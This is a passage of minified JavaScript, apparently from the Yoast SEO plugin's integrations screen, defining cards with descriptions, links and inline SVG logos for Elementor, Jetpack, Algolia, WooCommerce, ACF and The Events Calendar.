(0,o.__)("Get %1$s tools and functionality in %2$s%3$s%4$s","wordpress-seo"),"Yoast SEO","<strong>","Elementor","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-elementor",logoLink:"https://yoa.st/integrations-logo-elementor",slug:"elementor",description:(0,o.__)("Take advantage of your favorite SEO & content analysis tools with your favorite page builder.","wordpress-seo"),isPremium:!1,isNew:!1,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",Y({xmlns:"http://www.w3.org/2000/svg",width:170,height:70,fill:"none",viewBox:"0 0 810 160"},e),z||(z=t.createElement("g",{fill:"#92003B",clipPath:"url(#elementor-logo_svg__a)"},t.createElement("path",{d:"M505.95 73.98s-6.873 1.642-12.688 3.029l-8.839 2.015h-.081c0-2.388.174-4.905.744-7.224.733-2.97 2.338-6.443 5.129-7.969 3.035-1.654 6.734-1.853 9.944-.57 3.326 1.316 4.849 4.532 5.501 7.864.186.932.302 1.864.395 2.808l-.105.046Zm23.051 5.044c0-23.104-14.526-33.03-33.087-33.03-20.981 0-34.123 14.551-34.123 33.147 0 20.215 11.188 33.38 35.274 33.38 13.026 0 20.399-2.307 29.168-6.699l-3.338-15.135c-6.687 3.006-12.909 4.847-21.213 4.847-9.106 0-14.293-3.46-16.259-9.927h42.997c.348-1.736.581-3.705.581-6.583ZM312.998 73.98s-6.874 1.642-12.689 3.029l-8.838 2.015h-.082c0-2.388.175-4.905.744-7.224.733-2.97 2.338-6.443 5.129-7.969 3.036-1.654 6.734-1.853 9.944-.57 3.326 1.316 4.85 4.532 5.501 7.864.186.932.302 1.864.395 2.808l-.104.046Zm23.05 5.044c0-23.104-14.526-33.03-33.087-33.03-20.98 0-34.122 14.551-34.122 33.147 0 20.215 11.188 33.38 35.273 33.38 13.026 0 20.399-2.307 29.168-6.699l-3.337-15.135c-6.688 3.006-12.91 4.847-21.214 4.847-9.106 0-14.293-3.46-16.258-9.927h42.996c.349-1.736.581-3.705.581-6.583ZM259.814 29.017h-21.295v81.186h21.295V29.017ZM533.49 48.067h22.364l4.71 14.354c2.943-7.084 9.572-16.195 21.33-16.195 16.142 0 24.899 8.203 24.899 29.338v34.65h-22.364c0-7.223.012-14.435.023-21.66 0-3.308-.058-6.617-.011-9.926.034-3.052.255-6.21-1.373-8.948-1.105-1.853-2.907-3.216-4.849-4.148-3.943-1.887-8.223-1.84-12.096.187-.953.5-5.559 2.994-5.559 4.147v40.348H538.2v-45.38l-4.71-16.767ZM623.704 64.355h-10.258V48.067h10.258V37.884l22.364-5.278v15.461h22.481v16.288h-22.481v18.246c0 7.166 3.455 10.51 8.642 10.51 5.303 0 8.303-.7 12.792-2.19l2.652 16.858c-6.106 2.657-13.712 3.927-21.446 3.927-16.258 0-25.016-7.737-25.016-22.755V64.355h.012ZM710.394 94.031c8.187 0 13.025-5.896 13.025-15.356 0-9.461-4.605-14.902-12.676-14.902-8.188 0-12.909 5.43-12.909 15.24 0 9.25 4.605 15.018 12.56 15.018Zm.233-48.387c20.98 0 36.308 13.166 36.308 33.602 0 20.552-15.328 32.914-36.541 32.914-21.097 0-36.088-12.7-36.088-32.914 0-20.436 14.875-33.602 36.321-33.602ZM441.754 47.88c-3.954-1.63-8.432-2.236-12.712-1.619-2.175.315-4.303.944-6.28 1.923-5.42 2.68-9.641 8.796-11.909 14.25-1.489-6.28-5.827-11.92-12.165-14.542-3.954-1.63-8.432-2.237-12.712-1.62-2.174.316-4.303.945-6.28 1.923-5.408 2.668-9.618 8.762-11.897 14.203v-.396L363.24 48.09h-22.365l4.711 16.766v45.37h22.213V69.668c.081-.303 1.07-.862 1.244-.99 2.605-1.852 5.664-3.763 8.92-3.996 3.327-.245 6.606 1.444 8.583 4.09.21.29.407.582.593.885 1.629 2.738 1.408 5.895 1.373 8.948-.035 3.309.011 6.618.011 9.927-.011 7.224-.023 14.436-.023 21.659h22.365V69.692c.046-.291 1.07-.874 1.256-1.002 2.605-1.853 5.663-3.764 8.92-3.997 3.326-.244 6.606 1.445 8.583 4.09.209.291.407.582.593.885 1.628 2.738 1.407 5.896 1.372 8.949-.035 3.308.012 6.617.012 9.926-.012 7.224-.023 14.436-.023 21.66h22.364v-34.65c0-10.16-1.454-23.245-12.188-27.672ZM799.827 46.226c-11.758 0-18.375 9.123-21.329 16.195l-4.711-14.354h-22.364l4.71 16.766v45.37h22.365V68.282c3.186-.56 20.48 2.633 23.76 3.833V46.308a40.988 40.988 0 0 0-2.431-.082ZM206.444 73.98s-6.873 1.642-12.688 3.029l-8.839 2.015h-.081c0-2.388.174-4.905.744-7.224.733-2.97 2.338-6.443 5.129-7.969 3.035-1.654 6.734-1.853 9.944-.57 3.326 1.316 4.849 4.532 5.501 7.864.186.932.302 1.864.395 2.808l-.105.046Zm23.051 5.044c0-23.104-14.526-33.03-33.087-33.03-20.981 0-34.123 14.551-34.123 33.147 0 20.215 11.188 33.38 35.274 33.38 13.026 0 20.399-2.307 29.168-6.699l-3.338-15.135c-6.687 3.006-12.909 4.847-21.213 4.847-9.106 0-14.293-3.46-16.259-9.927h42.996c.349-1.736.582-3.705.582-6.583ZM66.141 16.05c-35.285 0-63.883 28.65-63.883 64 0 35.338 28.598 64 63.883 64 35.285 0 63.883-28.651 63.883-64-.011-35.35-28.609-64-63.883-64Zm-15.968 90.657H39.532V53.38h10.641v53.327Zm42.577 0H60.815v-10.66H92.75v10.66Zm0-21.333H60.815v-10.66H92.75v10.66Zm0-21.333H60.815V53.38H92.75v10.66Z"}))),C||(C=t.createElement("defs",null,t.createElement("clipPath",{id:"elementor-logo_svg__a"},t.createElement("path",{fill:"#fff",d:"M2.258 16.05h795.828v127.9H2.258z"})))))},jetpack:{name:"Jetpack",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: Jetpack; 3: bold close tag; 4: Yoast. */
(0,o.__)("Get the most out of %1$s%2$s%3$s and %4$s, together","wordpress-seo"),"<strong>","Jetpack","</strong>","Yoast"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-jetpack",logoLink:"https://yoa.st/integrations-logo-jetpack",slug:"jetpack",description:(0,o.__)("Upgrade your meta tags and social previews and manage your SEO settings in one place.","wordpress-seo"),isPremium:!1,isNew:!1,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",q({xmlns:"http://www.w3.org/2000/svg",width:153,height:108,viewBox:"0 0 595.276 841.89"},e),t.createElement("path",{d:"M-81.143 289.235c26.67-1.36 53.71 5.84 76.08 20.45 27.82 17.89 48.24 46.9 55.47 79.2 8.2 35.481.51 74.32-21.03 103.74-19.52 27.24-50.08 46.29-83.19 51.61-26.43 4.39-54.23.4-78.22-11.59-25.21-12.43-46.11-33.38-58.42-58.65-13.52-27.32-16.65-59.52-8.909-88.98 7.17-27.76 24.06-52.86 47-70.06 20.419-15.49 45.599-24.609 71.22-25.72zm-.42 25.35c-21.33 41.53-42.75 83.02-64.13 124.52 21.39-.02 42.79.01 64.18-.01-.02-41.51.09-83.01-.05-124.51zm13.05 81.5c-.01 41.51.02 83.03-.01 124.54 21.55-41.44 42.76-83.05 64.25-124.52-21.41-.07-42.82-.03-64.24-.02z",style:{fill:"#00be28",fillRule:"evenodd"}}),t.createElement("path",{d:"M-81.563 314.586c.14 41.5.03 83 .05 124.51-21.39.02-42.79-.01-64.18.01 21.38-41.5 42.8-82.99 64.13-124.52zm13.05 81.5c21.42-.01 42.83-.05 64.24.019-21.49 41.47-42.7 83.08-64.25 124.52.03-41.51 0-83.03.01-124.54z",style:{fill:"#fff",fillRule:"evenodd"}}),t.createElement("path",{d:"M120.697 334.555c15.17-.07 30.34-.01 45.51-.03-.02 37.16.01 74.32-.02 111.48-.09 10.56-1.43 21.5-6.7 30.851-6.76 12.1-19.02 19.62-31.07 25.68-3.69-5.51-7.02-11.241-10.68-16.76 7.79-4.801 15.83-10.2 20.31-18.44 2.9-5.291 3.87-11.39 3.92-17.361-.02-32.3 0-64.61-.01-96.92-7.06-.01-14.12 0-21.18 0-.08-6.17.03-12.34-.08-18.5zm535.206.05c7.607-.16 15.224-.06 22.83-.06-.09 25.501.172 51.01-.13 76.51 10.734-12.889 21.105-26.08 31.839-38.97 9.816.08 19.622-.03 29.439.06-12.339 14.3-24.506 28.74-36.844 43.03 13.428 15.98 26.916 31.91 40.375 47.88-9.898-.01-19.784 0-29.681-.01a28313.007 28313.007 0 0 0-35.008-42.99c.02 14.29-.01 28.57.02 42.86-7.576.29-15.173.07-22.76.12-.08-42.81.081-85.62-.08-128.43zm-359.887 11.81c7.611.05 15.231-.18 22.841.11-.16 8.53-.05 17.06-.06 25.58 9.48.02 18.97-.009 28.46.02-.03 5.87-.03 11.74-.01 17.61-9.49.04-18.98 0-28.47.02.05 16.09-.07 32.19.06 48.28-.08 4.02 2.87 7.8 6.86 8.52 6.67 1.39 13.36-.93 19.81-2.41-.07 5.77-.05 11.53-.011 17.3a72.497 72.497 0 0 1-26.859 3.76c-6.021-.39-12.33-2.21-16.58-6.7-4.47-4.61-6.01-11.27-6.02-17.51-.01-17.079.01-34.16-.01-51.24-4.18-.009-8.36.011-12.53-.02 0-5.81-.03-11.62.02-17.44 4.17 0 8.349 0 12.53-.01-.03-8.63.02-17.249-.03-25.87zm-93.4 32.47c10.68-8.83 25.611-10.97 38.91-8.21 9.32 1.82 17.92 7.52 22.64 15.84 6.37 10.76 6.201 23.79 4.82 35.82-19.459.02-38.92-.03-58.369.03.29 6.44 1.56 13.46 6.45 18.1 5.71 5.41 14.04 6.27 21.55 6.32 9.65.23 19.09-2.33 28.11-5.54-.01 6.28 0 12.56 0 18.84-14.54 4.51-30.08 6.5-45.21 4.34-9.97-1.5-19.89-6.06-26.05-14.26-7.42-9.68-9.37-22.32-9.25-34.21.14-13.85 5.47-28.16 16.4-37.07zm14.811 12.87c-4.2 4.08-5.83 9.94-6.68 15.55 11.8.08 23.6.01 35.4.04-.18-6.47-1.2-14.04-6.86-18.12-6.65-4.32-16.3-3.05-21.86 2.53zm170.06-11.52c8.569-6.66 19.19-10.9 30.15-10.67 10.46-.16 21.1 4.42 27.369 12.96 8.3 11.19 9.76 25.93 8.561 39.41-1.261 14.51-8.321 29.24-21.24 36.74-13.13 7.94-29.32 7.37-43.84 4.35-.01 16.03-.01 32.07 0 48.1-7.56.01-15.12 0-22.68.01.03-46.43-.04-92.85.04-139.27 7.2.11 14.41.08 21.61.01.03 2.78.049 5.57.03 8.36zm.99 17.91c-.05 15.72.12 31.45-.09 47.17 5.95 1.46 12.119 1.98 18.23 1.87 7-.13 14.28-3.06 18.28-9.01 5.06-7.329 5.8-16.63 5.49-25.27-.32-6.6-1.25-13.68-5.52-18.98-3.36-4.25-8.99-5.94-14.23-5.67-8.35.28-15.9 4.66-22.16 9.89zm83.38-22.6c11.48-3.94 23.63-6 35.769-5.97 9.17.13 19.08 1.86 26.01 8.35 6.78 6.37 8.91 16.07 9.11 25.04.04 20.02.01 40.05.01 60.07-7.02.04-14.04 0-21.05.03-.24-3.43-.16-6.87-.16-10.3-8.31 6.47-18.11 11.83-28.9 11.91-8.77.58-17.77-3.76-22.33-11.35-4.68-7.84-4.92-17.92-1.64-26.32 3.2-7.92 10.961-12.87 18.89-15.17 10.58-3.04 21.67-3.53 32.49-5.34-.04-4.82.14-10.2-2.98-14.21-2.9-3.78-8.03-4.52-12.47-4.64-10.59.06-20.96 2.7-30.95 5.99-.38-6.05-1.16-12.07-1.8-18.09zm28.88 48.07c-4.591.65-9.041 3.73-10.22 8.37-1.84 5.98.65 14.26 7.55 15.4 8.13.99 15.56-3.67 21.989-8.07-.09-6.25-.03-12.49-.04-18.73-6.42 1.08-12.87 1.94-19.28 3.03zm75.628-43.94c9.856-7.9 22.91-10.53 35.29-10.08 7.879.12 15.617 1.9 23.082 4.35.02 6.43-.01 12.86.02 19.28-10.754-3.83-22.558-6.81-33.908-4.12-8.08 1.91-14.174 8.91-15.859 16.9-1.907 8.81-1.715 18.34 1.513 26.83 2.442 6.53 8.313 11.52 15.123 12.99 11.552 2.62 23.477-.42 34.281-4.6-.02 6.29-.01 12.59 0 18.891-14.76 5.21-31.062 7.08-46.306 2.93-8.99-2.39-17.312-7.87-22.236-15.87-6.529-10.401-7.808-23.18-6.999-35.19.92-12.26 6.152-24.62 15.999-32.31z",style:{fill:"#000",fillRule:"evenodd"}}))},algolia:{name:"Algolia",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: Algolia; 3: bold close tag. */
(0,o.__)("Improve your internal search results with %1$s%2$s%3$s","wordpress-seo"),"<strong>","Algolia","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-algolia",logoLink:"https://yoa.st/integrations-logo-algolia",slug:"algolia",description:(0,o.sprintf)(/* translators: 1: Algolia, 2: Yoast SEO */
(0,o.__)("Connect your %1$s account to improve your site’s search results using %2$s data.","wordpress-seo"),"Algolia","Yoast SEO"),isPremium:!0,isNew:!1,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",D({xmlns:"http://www.w3.org/2000/svg",width:150,height:40,viewBox:"100 100 525 160"},e),S||(S=t.createElement("g",{fill:"none",fillRule:"evenodd"},t.createElement("path",{fill:"#5468FF",d:"M135.8 120.999h88.4c8.7 0 15.8 7.065 15.8 15.8v88.405c0 8.7-7.065 15.795-15.8 15.795h-88.4c-8.7 0-15.8-7.06-15.8-15.795v-88.445c0-8.695 7.06-15.76 15.8-15.76"}),t.createElement("path",{fill:"#FFF",d:"M192.505 147.788v-4.115a5.209 5.209 0 0 0-5.21-5.205H175.15a5.209 5.209 0 0 0-5.21 5.205v4.225c0 .47.435.8.91.69a37.966 37.966 0 0 1 10.57-1.49c3.465 0 6.895.47 10.21 1.38.44.11.875-.215.875-.69m-33.285 5.385-2.075-2.075a5.206 5.206 0 0 0-7.365 0l-2.48 2.475a5.185 5.185 0 0 0 0 7.355l2.04 2.04c.33.325.805.25 1.095-.075a39.876 39.876 0 0 1 3.975-4.66 37.68 37.68 0 0 1 4.7-4c.364-.22.4-.73.11-1.06m22.164 13.065v17.8c0 .51.55.875 1.02.62l15.825-8.19c.36-.18.47-.62.29-.98-3.28-5.755-9.37-9.685-16.405-9.94-.365 0-.73.29-.73.69m0 42.88c-13.195 0-23.915-10.705-23.915-23.88 0-13.175 10.72-23.875 23.915-23.875 13.2 0 23.916 10.7 23.916 23.875s-10.68 23.88-23.916 23.88m0-57.8c-18.74 0-33.94 15.18-33.94 33.92 0 18.745 15.2 33.89 33.94 33.89s33.94-15.18 33.94-33.925c0-18.745-15.165-33.885-33.94-33.885"}),t.createElement("path",{fill:"#5468FF",d:"M359.214 216.177c-23.365.11-23.365-18.855-23.365-21.875l-.04-71.045 14.254-2.26v70.61c0 1.715 0 12.56 9.15 12.595v11.975zm-57.78-11.61c4.374 0 7.62-.255 9.88-.69v-14.485a29.196 29.196 0 0 0-3.43-.695 33.742 33.742 0 0 0-4.956-.365c-1.57 0-3.175.11-4.775.365-1.605.22-3.065.655-4.34 1.275-1.275.62-2.335 1.495-3.1 2.62-.8 1.13-1.165 1.785-1.165 3.495 0 3.345 1.165 5.28 3.28 6.55 2.115 1.275 4.995 1.93 8.606 1.93zm-1.24-51.685c4.7 0 8.674.585 11.884 1.75 3.206 1.165 5.796 2.8 7.69 4.875 1.935 2.11 3.245 4.915 4.046 7.9.84 2.985 1.24 6.26 1.24 9.86v36.62c-2.185.47-5.506 1.015-9.95 1.67-4.446.655-9.44.985-14.986.985-3.68 0-7.07-.365-10.095-1.055-3.065-.69-5.65-1.82-7.84-3.385-2.15-1.565-3.825-3.57-5.065-6.04-1.205-2.48-1.825-5.97-1.825-9.61 0-3.495.69-5.715 2.045-8.12 1.38-2.4 3.24-4.365 5.575-5.895 2.37-1.53 5.065-2.62 8.165-3.275 3.1-.655 6.345-.985 9.695-.985 1.57 0 3.21.11 4.96.29 1.715.185 3.575.515 5.545.985v-2.33c0-1.635-.185-3.2-.585-4.655a10.012 10.012 0 0 0-2.045-3.895c-.985-1.13-2.255-2.005-3.86-2.62-1.605-.62-3.65-1.095-6.09-1.095-3.28 0-6.27.4-9.005.875-2.735.47-4.995 1.02-6.71 1.635l-1.71-11.68c1.785-.62 4.445-1.24 7.875-1.855 3.425-.66 7.11-.95 11.045-.95zm281.51 51.285c4.375 0 7.615-.255 9.875-.695v-14.48c-.8-.22-1.93-.475-3.425-.695a33.813 33.813 0 0 0-4.96-.365c-1.565 0-3.17.11-4.775.365-1.6.22-3.06.655-4.335 1.275-1.28.62-2.335 1.495-3.1 2.62-.805 1.13-1.165 1.785-1.165 3.495 0 3.345 1.165 5.28 3.28 6.55 2.15 1.31 4.995 1.93 8.605 1.93zm-1.205-51.645c4.7 0 8.674.58 11.884 1.745 3.205 1.165 5.795 2.8 7.69 4.875 1.895 2.075 3.245 4.915 4.045 7.9.84 2.985 1.24 6.26 1.24 9.865v36.615c-2.185.47-5.505 1.015-9.95 1.675-4.445.655-9.44.98-14.985.98-3.68 0-7.07-.365-10.094-1.055-3.065-.69-5.65-1.82-7.84-3.385-2.15-1.565-3.825-3.57-5.065-6.04-1.205-2.475-1.825-5.97-1.825-9.61 0-3.495.695-5.715 2.045-8.12 1.38-2.4 3.24-4.365 5.575-5.895 2.37-1.525 5.065-2.62 8.165-3.275 3.1-.655 6.345-.98 9.7-.98 1.565 0 3.205.11 4.955.29s3.575.51 5.54.985v-2.33c0-1.64-.18-3.205-.58-4.66a9.977 9.977 0 0 0-2.045-3.895c-.985-1.13-2.255-2.005-3.86-2.62-1.606-.62-3.65-1.09-6.09-1.09-3.28 0-6.27.4-9.005.87-2.735.475-4.995 1.02-6.71 1.64l-1.71-11.685c1.785-.62 4.445-1.235 7.875-1.855 3.425-.62 7.105-.945 11.045-.945zm-42.8-6.77c4.774 0 8.68-3.86 8.68-8.63 0-4.765-3.866-8.625-8.68-8.625-4.81 0-8.675 3.86-8.675 8.625 0 4.77 3.9 8.63 8.675 8.63zm7.18 70.425h-14.326v-61.44l14.325-2.255v63.695zm-25.116 0c-23.365.11-23.365-18.855-23.365-21.875l-.04-71.045 14.255-2.26v70.61c0 1.715 0 12.56 9.15 12.595v11.975zm-46.335-31.445c0-6.155-1.35-11.285-3.974-14.85-2.625-3.605-6.305-5.385-11.01-5.385-4.7 0-8.386 1.78-11.006 5.385-2.625 3.6-3.904 8.695-3.904 14.85 0 6.225 1.315 10.405 3.94 14.01 2.625 3.64 6.305 5.425 11.01 5.425 4.7 0 8.385-1.82 11.01-5.425 2.624-3.64 3.934-7.785 3.934-14.01zm14.58-.035c0 4.805-.69 8.44-2.114 12.41-1.42 3.965-3.425 7.35-6.01 10.155-2.59 2.8-5.69 4.985-9.336 6.515-3.644 1.525-9.26 2.4-12.065 2.4-2.81-.035-8.385-.835-11.995-2.4-3.61-1.565-6.71-3.715-9.295-6.515-2.59-2.805-4.594-6.19-6.054-10.155-1.456-3.97-2.185-7.605-2.185-12.41s.654-9.43 2.114-13.36c1.46-3.93 3.5-7.28 6.125-10.08 2.625-2.805 5.76-4.955 9.33-6.48 3.61-1.53 7.585-2.255 11.885-2.255 4.305 0 8.275.76 11.92 2.255 3.65 1.525 6.786 3.675 9.336 6.48 2.584 2.8 4.59 6.15 6.05 10.08 1.53 3.93 2.295 8.555 2.295 13.36zm-107.284 0c0 5.965 1.31 12.59 3.935 15.355 2.625 2.77 6.014 4.15 10.175 4.15 2.26 0 4.41-.325 6.414-.945 2.005-.62 3.606-1.35 4.886-2.22v-35.34c-1.02-.22-5.286-1.095-9.41-1.2-5.175-.15-9.11 1.965-11.88 5.345-2.736 3.39-4.12 9.32-4.12 14.855zm39.625 28.095c0 9.72-2.48 16.815-7.476 21.33-4.99 4.51-12.61 6.77-22.89 6.77-3.755 0-11.555-.73-17.79-2.11l2.295-11.285c5.215 1.09 12.105 1.385 15.715 1.385 5.72 0 9.805-1.165 12.245-3.495 2.445-2.33 3.645-5.785 3.645-10.375v-2.33c-1.42.69-3.28 1.385-5.575 2.115-2.295.69-4.955 1.055-7.95 1.055-3.935 0-7.51-.62-10.75-1.86-3.245-1.235-6.055-3.055-8.35-5.46-2.295-2.4-4.12-5.42-5.395-9.025-1.275-3.605-1.935-10.045-1.935-14.775 0-4.44.695-10.01 2.046-13.725 1.384-3.71 3.35-6.915 6.014-9.57 2.626-2.655 5.835-4.695 9.59-6.19 3.755-1.49 8.16-2.435 12.935-2.435 4.635 0 8.9.58 13.055 1.275 4.155.69 7.69 1.415 10.57 2.215v56.49z"})))),upsellLink:"https://yoa.st/get-algolia-integration"},woocommerce:{name:"WooCommerce",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: WooCommerce; 3: bold close tag. */
(0,o.__)("Upgrade your %1$s%2$s%3$s SEO","wordpress-seo"),"<strong>","WooCommerce","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-woocommerce",logoLink:"https://yoa.st/integrations-logo-woocommerce",slug:"woocommerce",description:(0,o.__)("Improve your technical SEO, meta tags and unlock more SEO ecommerce tools.","wordpress-seo"),isPremium:!1,isNew:!1,isMultisiteAvailable:!0,logo:W,upsellLink:"https://yoa.st/integrations-get-woocommerce"},acf:{name:"ACF",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: ACF; 3: bold close tag. */
(0,o.__)("Integrate your custom fields and SEO data from %1$s%2$s%3$s","wordpress-seo"),"<strong>","ACF","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-acf",logoLink:"https://yoa.st/integrations-logo-acf",slug:"acf",description:(0,o.sprintf)(/* translators: 1: ACF */
(0,o.__)("Use %s fields to power your meta tags and templates, and analyze all of your content.","wordpress-seo"),"ACF"),isPremium:!1,isNew:!1,isMultisiteAvailable:!0}},te=[(0,t.createElement)(Q,{key:0,integration:ee.elementor,isActive:y(ee.elementor)}),(0,t.createElement)(Q,{key:1,integration:ee.jetpack,isActive:y(ee.jetpack)}),(0,t.createElement)(X,{key:2,integration:ee.algolia,toggleLabel:(0,o.__)("Enable integration","wordpress-seo"),initialActivationState:y(ee.algolia),isNetworkControlEnabled:g(ee.algolia),isMultisiteAvailable:d(ee.algolia),beforeToggle:w,isPrerequisiteActive:Boolean(window.wpseoIntegrationsData.algolia_active)}),(0,t.createElement)(U,{key:3,integration:ee.woocommerce,isActive:Boolean(window.wpseoIntegrationsData.woocommerce_seo_active),isInstalled:Boolean(window.wpseoIntegrationsData.woocommerce_seo_installed),isPrerequisiteActive:Boolean(window.wpseoIntegrationsData.woocommerce_active),upsellLink:window.wpseoIntegrationsData.woocommerce_seo_upsell_url,activationLink:window.wpseoIntegrationsData.woocommerce_seo_activate_url}),(0,t.createElement)(K,{key:4,integration:ee.acf,isActive:Boolean(window.wpseoIntegrationsData.acf_seo_active),isInstalled:Boolean(window.wpseoIntegrationsData.acf_seo_installed),isPrerequisiteActive:Boolean(window.wpseoIntegrationsData.acf_active),installationLink:window.wpseoIntegrationsData.acf_seo_install_url,activationLink:window.wpseoIntegrationsData.acf_seo_activate_url})];var se,ae,ne,re,oe,le,ce,ie,me,pe,he,ye,ge,de,ve,ue,we,fe,Ee;function be(){return be=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},be.apply(this,arguments)}function _e(){return _e=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},_e.apply(this,arguments)}function Pe(){return Pe=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},Pe.apply(this,arguments)}function Me(){return Me=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},Me.apply(this,arguments)}const ke=[{name:"The Events Calendar",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: bold close tag. */
(0,o.__)("Get %1$srich results for your events%2$s in Google search","wordpress-seo"),"<strong>","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-tec",logoLink:"https://yoa.st/integrations-logo-tec",slug:"tec",description:(0,o.sprintf)(/* translators: 1: The Events Calendar, 2: Yoast SEO */
(0,o.__)("%1$s integrates with %2$s's Schema API to get rich snippets for your events!","wordpress-seo"),"The Events Calendar","Yoast SEO"),isPremium:!1,isNew:!1,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",_e({xmlns:"http://www.w3.org/2000/svg",width:280,height:50,fill:"none",viewBox:"0 0 280 119"},e),ie||(ie=t.createElement("path",{fill:"#0F1031",fillRule:"evenodd",d:"M143.062 49.198c-2.457.997-4.731 1.535-6.384 1.446-2.141-.12-3.055-1.064-3.058-1.42-.002-.252.796-1.044 3.261-1.224.386-.027.794-.045 1.214-.045 1.684 0 3.558.277 4.967 1.243m4.595 21.714c-9.008 2.484-18.527.192-24.255-5.844-4.053-4.271-5.412-9.617-3.729-14.665 3.385-10.158 19.608-16.255 29.976-16.255.112 0 .223 0 .333.002 3.863.05 6.539.984 6.983 2.439.248.814-.34 2.24-1.573 3.812-2.175 2.774-5.481 5.288-8.844 7.133-2.132-2.34-5.552-3.404-9.925-3.089-4.869.354-6.585 2.717-6.568 4.81.02 2.282 2.233 4.715 6.425 4.948 2.538.138 5.571-.643 8.616-1.976.447 1.754.309 4.054-.423 6.798a1.783 1.783 0 0 0 3.444.918c.994-3.728 1.068-6.854.225-9.337 3.976-2.232 7.651-5.196 9.855-8.006 2.068-2.636 2.8-5.009 2.177-7.052-.452-1.483-1.517-2.66-3.122-3.494.122-13.393 2.496-22.644 4.634-22.657h.013c.314 0 .739.07 1.259.588 1.737 1.726 3.806 7.392 3.806 24.587 0 16.966-1.452 31.41-19.307 36.34M130.651 31.34c-.002-.045.004-.089-.002-.134l-.024-.198c-.256-3.658.183-6.54 1.298-8.086.554-.767 1.249-1.178 2.188-1.294 1.308-.157 2.372.18 3.266 1.039 1.731 1.664 2.741 5.262 2.645 9.198a49.245 49.245 0 0 0-8.894 3.117 38.759 38.759 0 0 1-.477-3.642m15.354-6.21c.657-.715 1.494-1.062 2.562-1.062 1.698 0 2.435.555 2.843.973.975.999 1.501 2.936 1.573 5.757a23.71 23.71 0 0 0-3.317-.215c-1.609 0-3.363.14-5.193.405-.079-2.585.461-4.692 1.532-5.858m19.667-17.675c-1.07-1.063-2.375-1.624-3.776-1.624h-.032c-4.696.028-6.316 7.035-7.127 12.303a80.347 80.347 0 0 0-.564 4.65c-.07-.078-.138-.159-.212-.233-1.325-1.359-3.141-2.047-5.394-2.047-2.063 0-3.857.765-5.187 2.214a7.868 7.868 0 0 0-1 1.406c-.588-1.547-1.409-2.947-2.533-4.027-1.668-1.604-3.801-2.298-6.171-2.007-1.91.235-3.516 1.184-4.644 2.746-.004.007-.008.015-.013.021-1.953-9.74-5.666-21.503-12.145-20.83-1.595.167-3.003 1.025-4.074 2.48-4.998 6.794-2.653 26.999-.48 37.866a1.784 1.784 0 0 0 2.098 1.398 1.782 1.782 0 0 0 1.398-2.097c-3.639-18.196-2.827-31.408-.144-35.054.63-.858 1.201-1.01 1.575-1.048 3.576-.372 7.982 12.124 9.842 27.896.149 1.953.445 3.782.73 5.203.001.007.004.013.006.02-5.356 3.087-9.776 7.308-11.534 12.584-2.113 6.337-.463 12.988 4.525 18.246 4.871 5.132 12.057 7.938 19.6 7.938 2.714 0 5.475-.363 8.19-1.113 20.246-5.588 21.923-22.003 21.923-39.775 0-15.205-1.544-23.821-4.857-27.116M16.222 96.908H.344A.344.344 0 0 0 0 97.25v2.724c0 .19.154.343.344.343h6.063v17.578c0 .189.154.344.344.344h3.094c.19 0 .344-.155.344-.344v-17.578h6.033c.19 0 .343-.153.343-.343V97.25a.344.344 0 0 0-.343-.344M27.218 102.231c-1.757 0-3.596.733-4.95 1.966v-6.946a.344.344 0 0 0-.343-.344H19.14a.344.344 0 0 0-.344.344v20.645c0 .19.154.344.344.344h2.785c.19 0 .343-.154.343-.344v-10.564c.74-.967 2.188-1.937 3.774-1.937 1.994 0 2.844.86 2.844 2.875v9.626c0 .19.154.344.344.344h2.786c.189 0 .343-.154.343-.344v-10.555c0-3.342-1.778-5.11-5.14-5.11M42.795 105.209c2.618 0 3.98 1.881 4.182 3.769H38.6c.288-1.888 1.686-3.769 4.196-3.769m0-2.978c-4.466 0-7.834 3.515-7.834 8.175 0 4.831 3.324 8.205 8.082 8.205 2.53 0 4.69-.805 6.245-2.326a.342.342 0 0 0 .04-.445l-1.3-1.826a.342.342 0 0 0-.527-.041c-.997 1.024-2.598 1.66-4.18 1.66-3 0-4.395-2.112-4.687-3.955h11.435c.19 0 .343-.154.343-.343v-.682c0-4.959-3.132-8.422-7.617-8.422M72.55 96.908H58.682a.344.344 0 0 0-.344.343v20.645c0 .189.155.344.344.344h13.866c.19 0 .344-.155.344-.344v-2.724a.344.344 0 0 0-.344-.343H62.122v-5.751h10.211c.19 0 .344-.154.344-.343v-2.724a.344.344 0 0 0-.344-.344h-10.21v-5.349h10.427c.19 0 .344-.153.344-.343V97.25a.344.344 0 0 0-.344-.344M89.791 102.603h-3.003a.342.342 0 0 0-.319.216l-4.354 10.93-4.355-10.93a.341.341 0 0 0-.319-.216H74.47a.344.344 0 0 